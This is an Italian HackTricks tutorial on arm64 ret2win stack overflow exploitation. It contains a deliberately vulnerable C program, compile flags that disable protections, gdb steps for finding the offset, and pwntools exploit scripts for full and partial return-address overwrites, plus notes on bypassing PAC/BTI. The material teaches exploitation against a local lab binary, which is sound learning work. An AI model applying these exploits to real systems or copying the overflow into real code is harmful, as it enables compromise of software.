Ret2win - arm64
Tip
Impara e pratica il hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al đŹ gruppo Discord o al gruppo telegram o seguici su Twitter đŚ @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.
Trova unâintroduzione allâarm64 in:
Codice
#include <stdio.h>
#include <unistd.h>
void win() {
printf("Congratulations!\n");
}
void vulnerable_function() {
char buffer[64];
read(STDIN_FILENO, buffer, 256); // <-- bof vulnerability
}
int main() {
vulnerable_function();
return 0;
}
Compilare senza pie e canary:
clang -o ret2win ret2win.c -fno-stack-protector -Wno-format-security -no-pie -mbranch-protection=none
- Il flag aggiuntivo
-mbranch-protection=nonedisabilita AArch64 Branch Protection (PAC/BTI). Se la tua toolchain abilita PAC o BTI per default, questo mantiene il laboratorio riproducibile. Per verificare se un binario compilato usa PAC/BTI puoi: - Cerca le proprietĂ GNU per AArch64:
readelf --notes -W ret2win | grep -E 'AARCH64_FEATURE_1_(BTI|PAC)'- Ispeziona prologhi/epiloghi per
paciasp/autiasp(PAC) o per landing padbti c(BTI): objdump -d ret2win | head -n 40
Fatti rapidi sulla convenzione di chiamata AArch64
- Il link register è
x30(aliaslr), e le funzioni tipicamente salvanox29/x30constp x29, x30, [sp, #-16]!e li ripristinano conldp x29, x30, [sp], #16; ret. - Questo significa che lâindirizzo di ritorno salvato si trova a
sp+8relativo alla base del frame. Con unchar buffer[64]posizionato sotto, la distanza tipica per sovrascrivere il savedx30è 64 (buffer) + 8 (x29 salvato) = 72 byte â esattamente quello che troveremo piĂš avanti. - Lo stack pointer deve rimanere allineato a 16 byte ai confini di funzione. Se costruisci ROP chains successivamente per scenari piĂš complessi, mantieni lâallineamento dello SP oppure potresti andare in crash sugli epiloghi di funzione.
Trovare lâoffset
Opzione pattern
Questo esempio è stato creato usando GEF:
Avvia gdb con gef, crea il pattern e usalo:
gdb -q ./ret2win
pattern create 200
run
.png)
arm64 tenterĂ di tornare allâindirizzo nel registro x30 (che è stato compromesso), possiamo usare questo per trovare il pattern offset:
pattern search $x30
.png)
Lâoffset è 72 (9x48).
Opzione offset dello stack
Inizia ottenendo lâindirizzo dello stack dove è memorizzato il registro pc:
gdb -q ./ret2win
b *vulnerable_function + 0xc
run
info frame
.png)
Ora imposta un breakpoint dopo la read() e usa continue fino a quando la read() viene eseguita, quindi imposta un pattern come 13371337:
b *vulnerable_function+28
c
.png)
Trova dove questo pattern è memorizzato in memoria:
.png)
Quindi: 0xfffffffff148 - 0xfffffffff100 = 0x48 = 72
.png)
No PIE
Normale
Ottieni lâindirizzo della funzione win:
objdump -d ret2win | grep win
ret2win: file format elf64-littleaarch64
00000000004006c4 <win>:
Exploit:
from pwn import *
# Configuration
binary_name = './ret2win'
p = process(binary_name)
# Optional but nice for AArch64
context.arch = 'aarch64'
# Prepare the payload
offset = 72
ret2win_addr = p64(0x00000000004006c4)
payload = b'A' * offset + ret2win_addr
# Send the payload
p.send(payload)
# Check response
print(p.recvline())
p.close()
.png)
Off-by-1
In realtĂ sarĂ piĂš come un off-by-2 nel PC memorizzato nello stack. Invece di sovrascrivere tutto il return address andremo a sovrascrivere solo gli ultimi 2 byte con 0x06c4.
from pwn import *
# Configuration
binary_name = './ret2win'
p = process(binary_name)
# Prepare the payload
offset = 72
ret2win_addr = p16(0x06c4)
payload = b'A' * offset + ret2win_addr
# Send the payload
p.send(payload)
# Check response
print(p.recvline())
p.close()
.png)
Puoi trovare un altro esempio di off-by-one in ARM64 in https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/, che è un vero off-by-one in una vulnerabilità fittizia.
Con PIE
Tip
Compila il binario senza lâargomento
-no-pie
Off-by-2
Senza un leak non conosciamo lâindirizzo esatto della win function, ma possiamo conoscere lâoffset della funzione rispetto al binario e, sapendo che lâindirizzo di ritorno che stiamo sovrascrivendo punta giĂ a un indirizzo vicino, è possibile effettuare un leak dellâoffset verso la win function (0x7d4) in questo caso e usare semplicemente quellâoffset:
.png)
Configuration
binary_name = â./ret2winâ p = process(binary_name)
Prepare the payload
offset = 72 ret2win_addr = p16(0x07d4) payload = bâAâ * offset + ret2win_addr
Send the payload
p.send(payload)
Check response
print(p.recvline()) p.close()
### Note sull'hardening AArch64 moderno (PAC/BTI) e ret2win
- Se il binario è compilato con AArch64 Branch Protection, potresti vedere `paciasp`/`autiasp` o `bti c` emessi nei prologhi/epiloghi delle funzioni. In tal caso:
- Il ritorno verso un indirizzo che non è un BTI landing pad valido può causare un `SIGILL`. à preferibile mirare all'esatta entry della funzione che contiene `bti c`.
- Se PAC è abilitato per i ritorni, semplici sovrascritture dell'indirizzo di ritorno possono fallire perchÊ l'epilogo autentica `x30`. Per scenari di apprendimento, ricompila con `-mbranch-protection=none` (mostrato sopra). Quando attacchi bersagli reali, preferisci hijack non basati su return (ad es., sovrascritture di function pointer) o costruisci ROP che non esegua mai una coppia `autiasp`/`ret` che autentichi il tuo LR contraffatto.
- Per verificare rapidamente le caratteristiche:
- `readelf --notes -W ./ret2win` e cerca le note `AARCH64_FEATURE_1_BTI` / `AARCH64_FEATURE_1_PAC`.
- `objdump -d ./ret2win | head -n 40` e cerca `bti c`, `paciasp`, `autiasp`.
### Esecuzione su host nonâARM64 (consiglio rapido qemuâuser)
Se sei su x86_64 ma vuoi esercitarti con AArch64:
```bash
# Install qemu-user and AArch64 libs (Debian/Ubuntu)
sudo apt-get install qemu-user qemu-user-static libc6-arm64-cross
# Run the binary with the AArch64 loader environment
qemu-aarch64 -L /usr/aarch64-linux-gnu ./ret2win
# Debug with GDB (qemu-user gdbstub)
qemu-aarch64 -g 1234 -L /usr/aarch64-linux-gnu ./ret2win &
# In another terminal
gdb-multiarch ./ret2win -ex 'target remote :1234'
Pagine correlate di HackTricks
Ret2syscall - ARM64
Riferimenti
- Abilitare PAC e BTI su AArch64 per Linux (Arm Community, Nov 2024). https://community.arm.com/arm-community-blogs/b/operating-systems-blog/posts/enabling-pac-and-bti-on-aarch64-for-linux
- Standard delle chiamate di procedura per lâarchitettura Arm a 64 bit (AAPCS64). https://github.com/ARM-software/abi-aa/blob/main/aapcs64/aapcs64.rst
Tip
Impara e pratica il hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al đŹ gruppo Discord o al gruppo telegram o seguici su Twitter đŚ @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.
HackTricks

